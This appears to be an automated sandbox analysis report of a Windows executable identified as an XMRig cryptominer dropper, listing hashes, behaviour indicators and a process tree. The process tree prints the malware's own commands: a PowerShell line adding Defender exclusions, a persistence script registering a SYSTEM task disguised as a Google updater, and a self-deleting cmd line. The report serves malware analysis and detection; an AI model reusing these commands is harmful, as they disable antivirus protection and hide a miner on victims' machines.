Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1807s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
Gu3PdXt79NF7EJXJ.exeupdater.execonhost.exedescription pid process target process PID 5000 created 3368 5000 Gu3PdXt79NF7EJXJ.exe Explorer.EXE PID 5000 created 3368 5000 Gu3PdXt79NF7EJXJ.exe Explorer.EXE PID 5000 created 3368 5000 Gu3PdXt79NF7EJXJ.exe Explorer.EXE PID 5000 created 3368 5000 Gu3PdXt79NF7EJXJ.exe Explorer.EXE PID 4328 created 3368 4328 updater.exe Explorer.EXE PID 4328 created 3368 4328 updater.exe Explorer.EXE PID 4328 created 3368 4328 updater.exe Explorer.EXE PID 4328 created 3368 4328 updater.exe Explorer.EXE PID 3076 created 3368 3076 conhost.exe Explorer.EXE PID 4328 created 3368 4328 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral14/memory/4276-124-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-127-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-131-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-132-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-134-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-136-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-140-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-142-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-144-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-146-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-148-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-150-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-152-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-154-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-156-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-158-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-160-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-162-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-164-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-166-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-168-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-170-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-172-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-174-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-176-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-178-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-180-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-182-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-184-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-186-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig behavioral14/memory/4276-188-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 4328 updater.exe -
Processes:
resource yara_rule behavioral14/memory/4276-124-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-127-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-131-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-132-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-134-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-136-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-140-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-142-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-144-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-146-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-148-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-150-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-152-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-154-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-156-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-158-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-160-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-162-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-164-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-166-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-168-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-170-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-172-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-174-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-176-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-178-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-180-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-182-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-184-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-186-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx behavioral14/memory/4276-188-0x00007FF6328E0000-0x00007FF6330D4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 4328 set thread context of 3076 4328 updater.exe conhost.exe PID 4328 set thread context of 4276 4328 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
Gu3PdXt79NF7EJXJ.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe Gu3PdXt79NF7EJXJ.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
Gu3PdXt79NF7EJXJ.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 5000 Gu3PdXt79NF7EJXJ.exe 5000 Gu3PdXt79NF7EJXJ.exe 4804 powershell.exe 4804 powershell.exe 5000 Gu3PdXt79NF7EJXJ.exe 5000 Gu3PdXt79NF7EJXJ.exe 2992 powershell.exe 2992 powershell.exe 5000 Gu3PdXt79NF7EJXJ.exe 5000 Gu3PdXt79NF7EJXJ.exe 5000 Gu3PdXt79NF7EJXJ.exe 5000 Gu3PdXt79NF7EJXJ.exe 768 powershell.exe 768 powershell.exe 4328 updater.exe 4328 updater.exe 3180 powershell.exe 3180 powershell.exe 4328 updater.exe 4328 updater.exe 892 powershell.exe 892 powershell.exe 4328 updater.exe 4328 updater.exe 4328 updater.exe 4328 updater.exe 3076 conhost.exe 3076 conhost.exe 4328 updater.exe 4328 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 668 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4804 powershell.exe Token: SeDebugPrivilege 2992 powershell.exe Token: SeIncreaseQuotaPrivilege 2992 powershell.exe Token: SeSecurityPrivilege 2992 powershell.exe Token: SeTakeOwnershipPrivilege 2992 powershell.exe Token: SeLoadDriverPrivilege 2992 powershell.exe Token: SeSystemProfilePrivilege 2992 powershell.exe Token: SeSystemtimePrivilege 2992 powershell.exe Token: SeProfSingleProcessPrivilege 2992 powershell.exe Token: SeIncBasePriorityPrivilege 2992 powershell.exe Token: SeCreatePagefilePrivilege 2992 powershell.exe Token: SeBackupPrivilege 2992 powershell.exe Token: SeRestorePrivilege 2992 powershell.exe Token: SeShutdownPrivilege 2992 powershell.exe Token: SeDebugPrivilege 2992 powershell.exe Token: SeSystemEnvironmentPrivilege 2992 powershell.exe Token: SeRemoteShutdownPrivilege 2992 powershell.exe Token: SeUndockPrivilege 2992 powershell.exe Token: SeManageVolumePrivilege 2992 powershell.exe Token: 33 2992 powershell.exe Token: 34 2992 powershell.exe Token: 35 2992 powershell.exe Token: 36 2992 powershell.exe Token: SeIncreaseQuotaPrivilege 2992 powershell.exe Token: SeSecurityPrivilege 2992 powershell.exe Token: SeTakeOwnershipPrivilege 2992 powershell.exe Token: SeLoadDriverPrivilege 2992 powershell.exe Token: SeSystemProfilePrivilege 2992 powershell.exe Token: SeSystemtimePrivilege 2992 powershell.exe Token: SeProfSingleProcessPrivilege 2992 powershell.exe Token: SeIncBasePriorityPrivilege 2992 powershell.exe Token: SeCreatePagefilePrivilege 2992 powershell.exe Token: SeBackupPrivilege 2992 powershell.exe Token: SeRestorePrivilege 2992 powershell.exe Token: SeShutdownPrivilege 2992 powershell.exe Token: SeDebugPrivilege 2992 powershell.exe Token: SeSystemEnvironmentPrivilege 2992 powershell.exe Token: SeRemoteShutdownPrivilege 2992 powershell.exe Token: SeUndockPrivilege 2992 powershell.exe Token: SeManageVolumePrivilege 2992 powershell.exe Token: 33 2992 powershell.exe Token: 34 2992 powershell.exe Token: 35 2992 powershell.exe Token: 36 2992 powershell.exe Token: SeIncreaseQuotaPrivilege 2992 powershell.exe Token: SeSecurityPrivilege 2992 powershell.exe Token: SeTakeOwnershipPrivilege 2992 powershell.exe Token: SeLoadDriverPrivilege 2992 powershell.exe Token: SeSystemProfilePrivilege 2992 powershell.exe Token: SeSystemtimePrivilege 2992 powershell.exe Token: SeProfSingleProcessPrivilege 2992 powershell.exe Token: SeIncBasePriorityPrivilege 2992 powershell.exe Token: SeCreatePagefilePrivilege 2992 powershell.exe Token: SeBackupPrivilege 2992 powershell.exe Token: SeRestorePrivilege 2992 powershell.exe Token: SeShutdownPrivilege 2992 powershell.exe Token: SeDebugPrivilege 2992 powershell.exe Token: SeSystemEnvironmentPrivilege 2992 powershell.exe Token: SeRemoteShutdownPrivilege 2992 powershell.exe Token: SeUndockPrivilege 2992 powershell.exe Token: SeManageVolumePrivilege 2992 powershell.exe Token: 33 2992 powershell.exe Token: 34 2992 powershell.exe Token: 35 2992 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid process target process PID 1464 wrote to memory of 4204 1464 cmd.exe choice.exe PID 1464 wrote to memory of 4204 1464 cmd.exe choice.exe PID 768 wrote to memory of 4364 768 powershell.exe schtasks.exe PID 768 wrote to memory of 4364 768 powershell.exe schtasks.exe PID 4328 wrote to memory of 3076 4328 updater.exe conhost.exe PID 5052 wrote to memory of 4932 5052 cmd.exe WMIC.exe PID 5052 wrote to memory of 4932 5052 cmd.exe WMIC.exe PID 4328 wrote to memory of 4276 4328 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3368
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:5000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4804
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2992
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4204
